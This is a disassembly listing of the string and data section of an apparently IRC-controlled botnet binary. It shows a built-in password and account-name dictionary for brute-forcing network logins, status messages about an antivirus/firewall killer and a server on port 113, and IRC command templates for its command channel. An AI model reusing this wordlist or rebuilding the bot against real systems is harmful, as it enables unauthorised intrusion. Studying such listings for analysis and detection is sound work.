a1964 db '1964',0 ; DATA XREF: .nsp0:0043C190o
align 4
a1965 db '1965',0 ; DATA XREF: .nsp0:0043C194o
align 4
a1966 db '1966',0 ; DATA XREF: .nsp0:0043C198o
align 4
a1967 db '1967',0 ; DATA XREF: .nsp0:0043C19Co
align 4
a1968 db '1968',0 ; DATA XREF: .nsp0:0043C1A0o
align 4
a1969 db '1969',0 ; DATA XREF: .nsp0:0043C1A4o
align 4
a1970 db '1970',0 ; DATA XREF: .nsp0:0043C1A8o
align 4
a1971 db '1971',0 ; DATA XREF: .nsp0:0043C1ACo
align 4
a1972 db '1972',0 ; DATA XREF: .nsp0:0043C1B0o
align 4
a1973 db '1973',0 ; DATA XREF: .nsp0:0043C1B4o
align 4
a1974 db '1974',0 ; DATA XREF: .nsp0:0043C1B8o
align 4
a1975 db '1975',0 ; DATA XREF: .nsp0:0043C1BCo
align 4
a1976 db '1976',0 ; DATA XREF: .nsp0:0043C1C0o
align 4
a1977 db '1977',0 ; DATA XREF: .nsp0:0043C1C4o
align 4
a1978 db '1978',0 ; DATA XREF: .nsp0:0043C1C8o
align 4
a1979 db '1979',0 ; DATA XREF: .nsp0:0043C1CCo
align 4
a1980 db '1980',0 ; DATA XREF: .nsp0:0043C1D0o
align 4
a1981 db '1981',0 ; DATA XREF: .nsp0:0043C1D4o
align 4
a1982 db '1982',0 ; DATA XREF: .nsp0:0043C1D8o
align 4
a1983 db '1983',0 ; DATA XREF: .nsp0:0043C1DCo
align 4
a1984 db '1984',0 ; DATA XREF: .nsp0:0043C1E0o
align 4
a1985 db '1985',0 ; DATA XREF: .nsp0:0043C1E4o
align 4
a1986 db '1986',0 ; DATA XREF: .nsp0:0043C1E8o
align 4
a1987 db '1987',0 ; DATA XREF: .nsp0:0043C1ECo
align 4
a1988 db '1988',0 ; DATA XREF: .nsp0:0043C1F0o
align 4
a1989 db '1989',0 ; DATA XREF: .nsp0:0043C1F4o
align 4
a1990 db '1990',0 ; DATA XREF: .nsp0:0043C1F8o
align 4
a1991 db '1991',0 ; DATA XREF: .nsp0:0043C1FCo
align 4
a1992 db '1992',0 ; DATA XREF: .nsp0:0043C200o
align 4
a1993 db '1993',0 ; DATA XREF: .nsp0:0043C204o
align 4
a1994 db '1994',0 ; DATA XREF: .nsp0:0043C208o
align 4
a1995 db '1995',0 ; DATA XREF: .nsp0:0043C20Co
align 4
a1996 db '1996',0 ; DATA XREF: .nsp0:0043C210o
align 4
a1997 db '1997',0 ; DATA XREF: .nsp0:0043C214o
align 4
a1998 db '1998',0 ; DATA XREF: .nsp0:0043C218o
align 4
a1999 db '1999',0 ; DATA XREF: .nsp0:0043C21Co
align 4
a2000 db '2000',0 ; DATA XREF: .nsp0:0043C220o
align 4
a2001 db '2001',0 ; DATA XREF: .nsp0:0043C224o
align 4
a2002 db '2002',0 ; DATA XREF: .nsp0:0043C228o
align 4
a2003_0 db '2003',0 ; DATA XREF: .nsp0:0043C22Co
align 4
a2004 db '2004',0 ; DATA XREF: .nsp0:0043C230o
align 4
a2005 db '2005',0 ; DATA XREF: .nsp0:0043C234o
align 4
a2006 db '2006',0 ; DATA XREF: .nsp0:0043C238o
align 4
a2600 db '2600',0 ; DATA XREF: .nsp0:0043C23Co
align 4
a321 db '321',0 ; DATA XREF: .nsp0:0043C240o
a4321 db '4321',0 ; DATA XREF: .nsp0:0043C244o
align 4
a54321_0 db '54321',0 ; DATA XREF: .nsp0:0043C248o
align 10h
a654321_0 db '654321',0 ; DATA XREF: .nsp0:0043C24Co
align 4
a7654321 db '7654321',0 ; DATA XREF: .nsp0:0043C250o
aSony db 'sony',0 ; DATA XREF: .nsp0:0043C254o
align 4
aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .nsp0:0043C258o
aSamsung db 'samsung',0 ; DATA XREF: .nsp0:0043C25Co
aSony_0 db 'SONY',0 ; DATA XREF: .nsp0:0043C260o
align 10h
aMaster_0 db 'MASTER',0 ; DATA XREF: .nsp0:0043C264o
align 4
aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .nsp0:0043C268o
align 4
aDisc db 'DISC',0 ; DATA XREF: .nsp0:0043C26Co
align 4
aCreative db 'CREATIVE',0 ; DATA XREF: .nsp0:0043C270o
align 4
aSex_0 db 'SEX',0 ; DATA XREF: .nsp0:0043C274o
aNokia db 'NOKIA',0 ; DATA XREF: .nsp0:0043C278o
align 4
aXp db 'XP',0 ; DATA XREF: .nsp0:0043C27Co
align 4
aA_1: ; DATA XREF: .nsp0:0043C280o
unicode 0, <a>,0
aAa_0 db 'aa',0 ; DATA XREF: .nsp0:0043C284o
align 10h
aAaa db 'aaa',0 ; DATA XREF: .nsp0:0043C288o
aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:0043C28Co
align 4
aAaaaa db 'aaaaa',0 ; DATA XREF: .nsp0:0043C290o
align 4
aAaaaaa db 'aaaaaa',0 ; DATA XREF: .nsp0:0043C294o
align 4
aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .nsp0:0043C298o
aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .nsp0:0043C29Co
align 10h
aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .nsp0:0043C2A0o
align 4
aPassword_0 db 'Password',0 ; DATA XREF: .nsp0:0043C2A4o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .nsp0:0043C2A8o
align 4
aQw db 'qw',0 ; DATA XREF: .nsp0:0043C2ACo
align 4
aQwe db 'qwe',0 ; DATA XREF: .nsp0:0043C2B0o
aQwer db 'qwer',0 ; DATA XREF: .nsp0:0043C2B4o
align 4
aQwert_0 db 'qwert',0 ; DATA XREF: .nsp0:0043C2B8o
align 4
aQwerty_0 db 'qwerty',0 ; DATA XREF: .nsp0:0043C2BCo
align 4
aQwertyu db 'qwertyu',0 ; DATA XREF: .nsp0:0043C2C0o
aQwertyui db 'qwertyui',0 ; DATA XREF: .nsp0:0043C2C4o
align 4
aQwertyuio db 'qwertyuio',0 ; DATA XREF: .nsp0:0043C2C8o
align 4
aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: .nsp0:0043C2CCo
align 10h
aRoot_2 db 'root',0 ; DATA XREF: .nsp0:0043C2D0o
align 4
aServer_5 db 'server',0 ; DATA XREF: .nsp0:0043C2D4o
align 10h
aService db 'service',0 ; DATA XREF: .nsp0:0043C2D8o
aServers db 'servers',0 ; DATA XREF: .nsp0:0043C2DCo
aServices db 'services',0 ; DATA XREF: .nsp0:0043C2E0o
align 4
aSystem db 'system',0 ; DATA XREF: .nsp0:0043C2E4o
align 4
aSystem_2 db 'SYSTEM',0 ; DATA XREF: .nsp0:0043C2E8o
align 4
off_440DFC dd offset byte_494843 ; DATA XREF: .nsp0:0043C2ECo
dword_440E00 dd 696863h ; DATA XREF: .nsp0:0043C2F0o
dword_440E04 dd 726F6Bh ; DATA XREF: .nsp0:0043C2F4o
aTiger_0 db 'tiger',0 ; DATA XREF: .nsp0:0043C2F8o
align 10h
aKor db 'KOR',0 ; DATA XREF: .nsp0:0043C2FCo
aToyota_0 db 'TOYOTA',0 ; DATA XREF: .nsp0:0043C300o
align 4
aToyota_1 db 'toyota',0 ; DATA XREF: .nsp0:0043C304o
align 4
asc_440E24: ; DATA XREF: .nsp0:0043C308o
unicode 0, <x>,0
aXx_2 db 'xx',0 ; DATA XREF: .nsp0:0043C30Co
align 4
aXxx_0 db 'xxx',0 ; DATA XREF: .nsp0:0043C310o
aXxxx_0 db 'xxxx',0 ; DATA XREF: .nsp0:0043C314o
align 4
aXxxxx_0 db 'xxxxx',0 ; DATA XREF: .nsp0:0043C318o
align 10h
aXxxxxx_0 db 'xxxxxx',0 ; DATA XREF: .nsp0:0043C31Co
align 4
aXxxxxxx_0 db 'xxxxxxx',0 ; DATA XREF: .nsp0:0043C320o
aXxxxxxxx_0 db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0043C324o
align 4
aXxxxxxxxx_0 db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0043C328o
align 4
aXyz_0 db 'xyz',0 ; DATA XREF: .nsp0:0043C32Co
aYaco_0 db 'yaco',0 ; DATA XREF: .nsp0:0043C330o
align 4
aYang_0 db 'yang',0 ; DATA XREF: .nsp0:0043C334o
align 4
aKonyang db 'konyang',0 ; DATA XREF: .nsp0:0043C338o
aZ: ; DATA XREF: .nsp0:0043C33Co
unicode 0, <z>,0
aZx db 'zx',0 ; DATA XREF: .nsp0:0043C340o
align 4
aZxc db 'zxc',0 ; DATA XREF: .nsp0:0043C344o
aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:0043C348o
align 4
aZxcvb db 'zxcvb',0 ; DATA XREF: .nsp0:0043C34Co
align 10h
aZxcvbn db 'zxcvbn',0 ; DATA XREF: .nsp0:0043C350o
align 4
aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .nsp0:0043C354o
aAs db 'as',0 ; DATA XREF: .nsp0:0043C358o
align 4
aAsd_0 db 'asd',0 ; DATA XREF: .nsp0:0043C35Co
aAsdf db 'asdf',0 ; DATA XREF: .nsp0:0043C360o
align 10h
aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:0043C364o
align 4
aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:0043C368o
align 10h
aAsdfghj db 'asdfghj',0 ; DATA XREF: .nsp0:0043C36Co
aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .nsp0:0043C370o
align 4
aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .nsp0:0043C374o
align 10h
aQaz db 'qaz',0 ; DATA XREF: .nsp0:0043C378o
aWsx db 'wsx',0 ; DATA XREF: .nsp0:0043C37Co
aEdc db 'edc',0 ; DATA XREF: .nsp0:0043C380o
aRfv db 'rfv',0 ; DATA XREF: .nsp0:0043C384o
aB: ; DATA XREF: .nsp0:0043C388o
unicode 0, <b>,0
aBb db 'bb',0 ; DATA XREF: .nsp0:0043C38Co
align 4
aBbb db 'bbb',0 ; DATA XREF: .nsp0:0043C390o
aBbbb db 'bbbb',0 ; DATA XREF: .nsp0:0043C394o
align 4
aBbbbb db 'bbbbb',0 ; DATA XREF: .nsp0:0043C398o
align 4
aBbbbbb db 'bbbbbb',0 ; DATA XREF: .nsp0:0043C39Co
align 4
aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: .nsp0:0043C3A0o
aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: .nsp0:0043C3A4o
align 4
aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: .nsp0:0043C3A8o
align 4
aC_0: ; DATA XREF: .nsp0:0043C3ACo
unicode 0, <c>,0
aCc db 'cc',0 ; DATA XREF: .nsp0:0043C3B0o
align 4
aCcc db 'ccc',0 ; DATA XREF: .nsp0:0043C3B4o
aCccc_0 db 'cccc',0 ; DATA XREF: .nsp0:0043C3B8o
align 4
aCcccc db 'ccccc',0 ; DATA XREF: .nsp0:0043C3BCo
align 10h
aCccccc db 'cccccc',0 ; DATA XREF: .nsp0:0043C3C0o
align 4
aCcccccc db 'ccccccc',0 ; DATA XREF: .nsp0:0043C3C4o
aCccccccc db 'cccccccc',0 ; DATA XREF: .nsp0:0043C3C8o
align 4
aCcccccccc db 'ccccccccc',0 ; DATA XREF: .nsp0:0043C3CCo
align 4
aD: ; DATA XREF: .nsp0:0043C3D0o
unicode 0, <d>,0
aDd_0 db 'dd',0 ; DATA XREF: .nsp0:0043C3D4o
align 10h
aDdd db 'ddd',0 ; DATA XREF: .nsp0:0043C3D8o
aDddd db 'dddd',0 ; DATA XREF: .nsp0:0043C3DCo
align 4
aDdddd db 'ddddd',0 ; DATA XREF: .nsp0:0043C3E0o
align 4
aF: ; DATA XREF: .nsp0:0043C3E4o
unicode 0, <f>,0
aFf db 'ff',0 ; DATA XREF: .nsp0:0043C3E8o
align 4
aFff db 'fff',0 ; DATA XREF: .nsp0:0043C3ECo
aFfff db 'ffff',0 ; DATA XREF: .nsp0:0043C3F0o
align 4
aFffff db 'fffff',0 ; DATA XREF: .nsp0:0043C3F4o
align 10h
aE_0: ; DATA XREF: .nsp0:0043C3F8o
unicode 0, <e>,0
aEe db 'ee',0 ; DATA XREF: .nsp0:0043C3FCo
align 4
aEee db 'eee',0 ; DATA XREF: .nsp0:0043C400o
aEeee db 'eeee',0 ; DATA XREF: .nsp0:0043C404o
align 4
aEeeee db 'eeeee',0 ; DATA XREF: .nsp0:0043C408o
align 4
aEeeeee db 'eeeeee',0 ; DATA XREF: .nsp0:0043C40Co
align 4
aG: ; DATA XREF: .nsp0:0043C410o
unicode 0, <g>,0
aGg db 'gg',0 ; DATA XREF: .nsp0:0043C414o
align 4
aGgg db 'ggg',0 ; DATA XREF: .nsp0:0043C418o
aGggg db 'gggg',0 ; DATA XREF: .nsp0:0043C41Co
align 4
aGgggg db 'ggggg',0 ; DATA XREF: .nsp0:0043C420o
align 10h
aGggggg db 'gggggg',0 ; DATA XREF: .nsp0:0043C424o
align 4
asc_441008: ; DATA XREF: .nsp0:0043C428o
unicode 0, <h>,0
aHh db 'hh',0 ; DATA XREF: .nsp0:0043C42Co
align 10h
aHhh db 'hhh',0 ; DATA XREF: .nsp0:0043C430o
aHhhh db 'hhhh',0 ; DATA XREF: .nsp0:0043C434o
align 4
aHhhhh db 'hhhhh',0 ; DATA XREF: .nsp0:0043C438o
align 4
aHhhhhh db 'hhhhhh',0 ; DATA XREF: .nsp0:0043C43Co
align 4
aI_0: ; DATA XREF: .nsp0:0043C440o
unicode 0, <i>,0
aIi db 'ii',0 ; DATA XREF: .nsp0:0043C444o
align 4
aIii db 'iii',0 ; DATA XREF: .nsp0:0043C448o
aIiii db 'iiii',0 ; DATA XREF: .nsp0:0043C44Co
align 10h
aIiiii db 'iiiii',0 ; DATA XREF: .nsp0:0043C450o
align 4
aIiiiii db 'iiiiii',0 ; DATA XREF: .nsp0:0043C454o
align 10h
aJ_0: ; DATA XREF: .nsp0:0043C458o
unicode 0, <j>,0
aJj db 'jj',0 ; DATA XREF: .nsp0:0043C45Co
align 4
aJjj db 'jjj',0 ; DATA XREF: .nsp0:0043C460o
aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:0043C464o
align 4
aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:0043C468o
align 4
aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:0043C46Co
align 4
aK_0: ; DATA XREF: .nsp0:0043C470o
unicode 0, <k>,0
aKk db 'kk',0 ; DATA XREF: .nsp0:0043C474o
align 4
aKkk db 'kkk',0 ; DATA XREF: .nsp0:0043C478o
aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:0043C47Co
align 4
aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:0043C480o
align 10h
aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:0043C484o
align 4
asc_441098: ; DATA XREF: .nsp0:0043C488o
unicode 0, <l>,0
aLl db 'll',0 ; DATA XREF: .nsp0:0043C48Co
align 10h
aLll db 'lll',0 ; DATA XREF: .nsp0:0043C490o
aLlll db 'llll',0 ; DATA XREF: .nsp0:0043C494o
align 4
aLllll db 'lllll',0 ; DATA XREF: .nsp0:0043C498o
align 4
aLlllll db 'llllll',0 ; DATA XREF: .nsp0:0043C49Co
align 4
aM_3: ; DATA XREF: .nsp0:0043C4A0o
unicode 0, <m>,0
aMm db 'mm',0 ; DATA XREF: .nsp0:0043C4A4o
align 4
aMmm db 'mmm',0 ; DATA XREF: .nsp0:0043C4A8o
aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:0043C4ACo
align 10h
aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:0043C4B0o
align 4
aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:0043C4B4o
align 10h
aN_0: ; DATA XREF: .nsp0:0043C4B8o
unicode 0, <n>,0
aNn db 'nn',0 ; DATA XREF: .nsp0:0043C4BCo
align 4
aNnn db 'nnn',0 ; DATA XREF: .nsp0:0043C4C0o
aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:0043C4C4o
align 4
aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:0043C4C8o
align 4
aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:0043C4CCo
align 4
aO_0: ; DATA XREF: .nsp0:0043C4D0o
unicode 0, <o>,0
aOo db 'oo',0 ; DATA XREF: .nsp0:0043C4D4o
align 4
aOoo db 'ooo',0 ; DATA XREF: .nsp0:0043C4D8o
aOooo db 'oooo',0 ; DATA XREF: .nsp0:0043C4DCo
align 4
aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:0043C4E0o
align 10h
aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:0043C4E4o
align 4
aP_0: ; DATA XREF: .nsp0:0043C4E8o
unicode 0, <p>,0
aPp db 'pp',0 ; DATA XREF: .nsp0:0043C4ECo
align 10h
aPpp db 'ppp',0 ; DATA XREF: .nsp0:0043C4F0o
aPppp db 'pppp',0 ; DATA XREF: .nsp0:0043C4F4o
align 4
aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:0043C4F8o
align 4
aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:0043C4FCo
align 4
aU_0: ; DATA XREF: .nsp0:0043C500o
unicode 0, <u>,0
aUu db 'uu',0 ; DATA XREF: .nsp0:0043C504o
align 4
aUuu db 'uuu',0 ; DATA XREF: .nsp0:0043C508o
aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:0043C50Co
align 10h
aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:0043C510o
align 4
aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:0043C514o
align 10h
aS_26: ; DATA XREF: .nsp0:0043C518o
unicode 0, <s>,0
aSs db 'ss',0 ; DATA XREF: .nsp0:0043C51Co
align 4
aSss db 'sss',0 ; DATA XREF: .nsp0:0043C520o
aSsss db 'ssss',0 ; DATA XREF: .nsp0:0043C524o
align 4
aSssss db 'sssss',0 ; DATA XREF: .nsp0:0043C528o
align 4
aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:0043C52Co
align 4
aT_0: ; DATA XREF: .nsp0:0043C530o
unicode 0, <t>,0
aTt db 'tt',0 ; DATA XREF: .nsp0:0043C534o
align 4
aTtt db 'ttt',0 ; DATA XREF: .nsp0:0043C538o
aTttt db 'tttt',0 ; DATA XREF: .nsp0:0043C53Co
align 4
aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:0043C540o
align 10h
aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0043C544o
align 4
aY: ; DATA XREF: .nsp0:0043C548o
unicode 0, <y>,0
aYy db 'yy',0 ; DATA XREF: .nsp0:0043C54Co
align 10h
aYyy db 'yyy',0 ; DATA XREF: .nsp0:0043C550o
aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0043C554o
align 4
aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:0043C558o
align 4
aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:0043C55Co
align 4
aV: ; DATA XREF: .nsp0:0043C560o
unicode 0, <v>,0
aVv db 'vv',0 ; DATA XREF: .nsp0:0043C564o
align 4
aVvv_0 db 'vvv',0 ; DATA XREF: .nsp0:0043C568o
aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:0043C56Co
align 10h
aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:0043C570o
align 4
aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0043C574o
align 10h
aW: ; DATA XREF: .nsp0:0043C578o
unicode 0, <w>,0
aWw db 'ww',0 ; DATA XREF: .nsp0:0043C57Co
align 4
aWww db 'www',0 ; DATA XREF: .nsp0:0043C580o
aWwww db 'wwww',0 ; DATA XREF: .nsp0:0043C584o
align 4
aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:0043C588o
align 4
aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:0043C58Co
align 4
aQ_0: ; DATA XREF: .nsp0:0043C590o
unicode 0, <q>,0
aQq db 'qq',0 ; DATA XREF: .nsp0:0043C594o
align 4
aQqq db 'qqq',0 ; DATA XREF: .nsp0:0043C598o
aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:0043C59Co
align 4
aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:0043C5A0o
align 10h
aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0043C5A4o
align 4
aZ_0: ; DATA XREF: .nsp0:0043C5A8o
unicode 0, <z>,0
aZz db 'zz',0 ; DATA XREF: .nsp0:0043C5ACo
align 10h
aZzz db 'zzz',0 ; DATA XREF: .nsp0:0043C5B0o
aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0043C5B4o
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:0043C5B8o
align 4
aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:0043C5BCo
align 4
aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:0043C5C0o
align 4
aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0043C5C4o
align 4
aAass db 'aass',0 ; DATA XREF: .nsp0:0043C5C8o
align 4
aQqww db 'qqww',0 ; DATA XREF: .nsp0:0043C5CCo
align 4
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:0043C5D0o
align 4
aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:0043C5D4o
align 4
aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:0043C5D8o
align 10h
aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:0043C5DCo
align 4
aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:0043C5E0o
align 10h
aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:0043C5E4o
align 4
a1qaz db '1qaz',0 ; DATA XREF: .nsp0:0043C5E8o
align 10h
a2wsx db '2wsx',0 ; DATA XREF: .nsp0:0043C5ECo
align 4
a2qaz db '2qaz',0 ; DATA XREF: .nsp0:0043C5F0o
align 10h
a3edc db '3edc',0 ; DATA XREF: .nsp0:0043C5F4o
align 4
a3wsx db '3wsx',0 ; DATA XREF: .nsp0:0043C5F8o
align 10h
a112233 db '112233',0 ; DATA XREF: .nsp0:0043C5FCo
align 4
aMnb db 'mnb',0 ; DATA XREF: .nsp0:0043C600o
aMnbv db 'mnbv',0 ; DATA XREF: .nsp0:0043C604o
align 4
a2486 db '2486',0 ; DATA XREF: .nsp0:0043C608o
align 4
a2684 db '2684',0 ; DATA XREF: .nsp0:0043C60Co
align 4
a13579 db '13579',0 ; DATA XREF: .nsp0:0043C610o
align 4
a753159 db '753159',0 ; DATA XREF: .nsp0:0043C614o
align 4
a159357 db '159357',0 ; DATA XREF: .nsp0:0043C618o
align 4
a951753 db '951753',0 ; DATA XREF: .nsp0:0043C61Co
align 4
a753951 db '753951',0 ; DATA XREF: .nsp0:0043C620o
align 4
a142536 db '142536',0 ; DATA XREF: .nsp0:0043C624o
align 4
aSystem_0 db 'system',0 ; DATA XREF: .nsp0:0043C628o
align 4
aAdministrato_5 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0043C62Co
align 4
aAdministrato_6 db 'Administrator',0 ; DATA XREF: .nsp0:0043C630o
align 4
aAdministrato_7 db 'administrator',0 ; DATA XREF: .nsp0:0043C634o
align 4
aFubar_0 db 'fubar',0 ; DATA XREF: .nsp0:0043C638o
align 4
aBla_0 db 'bla',0 ; DATA XREF: .nsp0:0043C63Co
aGuest_2 db 'GUEST',0 ; DATA XREF: .nsp0:0043C640o
align 10h
aRoot_3 db 'ROOT',0 ; DATA XREF: .nsp0:0043C644o
align 4
aRoot_4 db 'root',0 ; DATA XREF: .nsp0:0043C648o
align 10h
aAdmin_1 db 'ADMIN',0 ; DATA XREF: .nsp0:0043C64Co
align 4
aPassword_1 db 'PASSWORD',0 ; DATA XREF: .nsp0:0043C650o
align 4
aTemp_0 db 'TEMP',0 ; DATA XREF: .nsp0:0043C654o
align 4
aShare_1 db 'SHARE',0 ; DATA XREF: .nsp0:0043C658o
align 4
aWrite_0 db 'WRITE',0 ; DATA XREF: .nsp0:0043C65Co
align 4
aFull_1 db 'FULL',0 ; DATA XREF: .nsp0:0043C660o
align 4
aLadeda_0 db 'ladeda',0 ; DATA XREF: .nsp0:0043C664o
align 4
aBoth_0 db 'BOTH',0 ; DATA XREF: .nsp0:0043C668o
align 4
aRead_0 db 'READ',0 ; DATA XREF: .nsp0:0043C66Co
align 4
aFiles_0 db 'FILES',0 ; DATA XREF: .nsp0:0043C670o
align 4
aDemo_0 db 'DEMO',0 ; DATA XREF: .nsp0:0043C674o
align 4
aOwner_2 db 'OWNER',0 ; DATA XREF: .nsp0:0043C678o
align 4
aOwner_3 db 'Owner',0 ; DATA XREF: .nsp0:0043C67Co
align 4
aEdu_0 db 'edu',0 ; DATA XREF: .nsp0:0043C680o
aTest_0 db 'TEST',0 ; DATA XREF: .nsp0:0043C684o
align 4
aAccess_0 db 'ACCESS',0 ; DATA XREF: .nsp0:0043C688o
align 10h
aUser_5 db 'USER',0 ; DATA XREF: .nsp0:0043C68Co
align 4
aBackup_0 db 'BACKUP',0 ; DATA XREF: .nsp0:0043C690o
align 10h
aSystem_3 db 'SYSTEM',0 ; DATA XREF: .nsp0:0043C694o
align 4
aServer_7 db 'SERVER',0 ; DATA XREF: .nsp0:0043C698o
align 10h
aSS_7 db '%s%s',0 ; DATA XREF: sub_40141B+10Ao
align 4
aSS_8 db '%s\%s',0 ; DATA XREF: sub_40141B+186o
align 10h
aSDS_0 db '%s %d "%s"',0 ; DATA XREF: sub_40141B+28Co
align 4
dword_44145C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: sub_40141B+361o
dd 2E646574h, 0
unk_441478 db 2Dh ; - ; DATA XREF: sub_40141B+39Co
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
unk_44149C db 2Dh ; - ; DATA XREF: sub_40141B+3EDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
dword_4414DC dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_40141B+41Ao
aServerRunningO db '- Server running on Port: 113.',0
align 4
dword_441508 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_40141B+465o
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
unk_44153C db 2Dh ; - ; DATA XREF: sub_4019E1+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B49+35o
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B49+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
asc_441584 db ' :',0 ; DATA XREF: sub_401CC1+86o
align 4
asc_441588: ; DATA XREF: sub_401CC1+AEo
unicode 0, < >,0
asc_44158C: ; DATA XREF: sub_401CC1:loc_401D8Co
unicode 0, < >,0
asc_441590: ; DATA XREF: sub_401CC1+191o
unicode 0, <!>,0
aPing db 'PING',0 ; DATA XREF: sub_401CC1+1A0o
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+1BAo
align 4
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+1DBo
align 4
a001 db '001',0 ; DATA XREF: sub_401CC1+1F7o
a005 db '005',0 ; DATA XREF: sub_401CC1+20Co
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+716Fo
align 10h
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+7184o
align 10h
aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+7197o
align 10h
a302 db '302',0 ; DATA XREF: sub_401CC1+221o
a@_5: ; DATA XREF: sub_401CC1+231o
unicode 0, <@>,0
a433_0 db '433',0 ; DATA XREF: sub_401CC1+25Co
aNickS_9 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+284o
align 4
aKick db 'KICK',0 ; DATA XREF: sub_401CC1+2DBo
align 10h
unk_441610 db 2Dh ; - ; DATA XREF: sub_401CC1+34Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User %s logged out.',0
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+365o
aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+3ABo
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_401CC1+3C4o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401CC1+4F2o
align 10h
aPart db 'PART',0 ; DATA XREF: sub_401CC1+51Ao
align 4
aQuit db 'QUIT',0 ; DATA XREF: sub_401CC1+52Bo
align 10h
unk_441670 db 2Dh ; - ; DATA XREF: sub_401CC1+5C1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User: %s logged out.',0
align 4
aPart_0 db 'PART',0 ; DATA XREF: sub_401CC1+5DEo
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+602o
